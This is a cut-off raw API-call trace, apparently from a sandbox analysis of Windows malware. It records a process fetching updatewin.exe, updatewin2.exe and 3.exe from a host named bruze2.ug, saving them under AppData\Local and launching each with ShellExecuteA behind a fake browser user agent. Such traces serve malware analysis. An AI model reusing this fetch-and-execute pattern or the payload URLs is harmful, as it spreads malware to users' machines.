[0052.811] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.812] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.812] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.812] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.813] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.900] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.900] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.903] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.904] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.926] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.926] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.927] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.927] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.928] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0052.929] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x1200) returned 1 [0052.930] WriteFile (in: hFile=0x6c8, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x1200, lpOverlapped=0x0) returned 1 [0052.930] CloseHandle (hObject=0x6c8) returned 1 [0052.933] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0052.938] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0052.938] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin2.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0052.971] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38d2100 | out: hHeap=0xd50000) returned 1 [0052.971] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38aee18 | out: hHeap=0xd50000) returned 1 [0052.971] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fcc60 | out: hHeap=0xd50000) returned 1 [0052.971] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0052.971] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x38b1278 [0052.971] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x38e5818 [0052.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x38b1278, cbMultiByte=-1, lpWideCharStr=0x38e5818, cchWideChar=1072 | out: lpWideCharStr="http://bruze2.ug/files/penelop/updatewin.exe") returned 45 [0052.971] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x870) returned 0x37fcc60 [0052.971] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0052.971] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38b1278 | out: hHeap=0xd50000) returned 1 [0052.971] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x870) returned 0x38e5818 [0052.971] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x389d668 [0052.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bruze2.ug/files/penelop/updatewin.exe", cchWideChar=-1, lpMultiByteStr=0x389d668, cbMultiByte=2096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bruze2.ug/files/penelop/updatewin.exe", lpUsedDefaultChar=0x0) returned 45 [0052.971] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x840) returned 0x389def0 [0052.971] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389d668 | out: hHeap=0xd50000) returned 1 [0052.971] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0052.971] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://bruze2.ug/files/penelop/updatewin.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0053.502] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x389def0 | out: hHeap=0xd50000) returned 1 [0053.502] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xa17d6d0, lpdwBufferLength=0xa17d710, lpdwIndex=0x0 | out: lpBuffer=0xa17d6d0*, lpdwBufferLength=0xa17d710*=0x4, lpdwIndex=0x0) returned 1 [0053.502] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x38b1308 [0053.502] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x20) returned 0x38afa48 [0053.502] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38b1308 | out: hHeap=0xd50000) returned 1 [0053.502] lstrcpyA (in: lpString1=0x3812700, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff" [0053.502] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff", pMore="updatewin.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe") returned 1 [0053.502] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x38d2238 [0053.502] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4 [0053.504] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.504] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0053.647] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.648] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0053.762] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.762] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0053.763] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.763] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.059] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.059] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.060] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.060] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.060] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.061] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.061] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.061] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.061] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.062] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.176] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.177] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.177] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.177] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.178] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.178] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.178] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.178] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.179] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.179] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.180] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.180] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.289] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.290] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.290] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.291] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.291] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.291] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.291] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.292] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.292] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.293] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.293] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.293] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.294] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.408] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.408] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.409] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.409] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.409] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.410] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.410] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.411] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.412] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.412] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x2800) returned 1 [0054.413] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.413] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xa17d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xa17d6d8 | out: lpBuffer=0xa17d778*, lpdwNumberOfBytesRead=0xa17d6d8*=0x1e00) returned 1 [0054.525] WriteFile (in: hFile=0x6c4, lpBuffer=0xa17d778*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0xa17d6dc, lpOverlapped=0x0 | out: lpBuffer=0xa17d778*, lpNumberOfBytesWritten=0xa17d6dc*=0x1e00, lpOverlapped=0x0) returned 1 [0054.526] CloseHandle (hObject=0x6c4) returned 1 [0054.529] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0054.536] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0054.536] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0054.624] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38d2238 | out: hHeap=0xd50000) returned 1 [0054.624] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38afa48 | out: hHeap=0xd50000) returned 1 [0054.624] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fcc60 | out: hHeap=0xd50000) returned 1 [0054.624] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0054.624] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37fb600 [0054.624] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x850) returned 0x38e5818 [0054.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x37fb600, cbMultiByte=-1, lpWideCharStr=0x38e5818, cchWideChar=1064 | out: lpWideCharStr="http://bruze2.ug/files/penelop/3.exe") returned 37 [0054.624] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x37fcc60 [0054.624] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38e5818 | out: hHeap=0xd50000) returned 1 [0054.624] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fb600 | out: hHeap=0xd50000) returned 1 [0054.624] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x860) returned 0x38e5818 [0054.624] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x828) returned 0xe4a280 [0054.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://bruze2.ug/files/penelop/3.exe", cchWideChar=-1, lpMultiByteStr=0xe4a280, cbMultiByte=2088, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://bruze2.ug/files/penelop/3.exe", lpUsedDefaultChar=0x0) returned 37 [0054.624] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x830) returned 0x389def0 [0054.624] HeapFree (in: 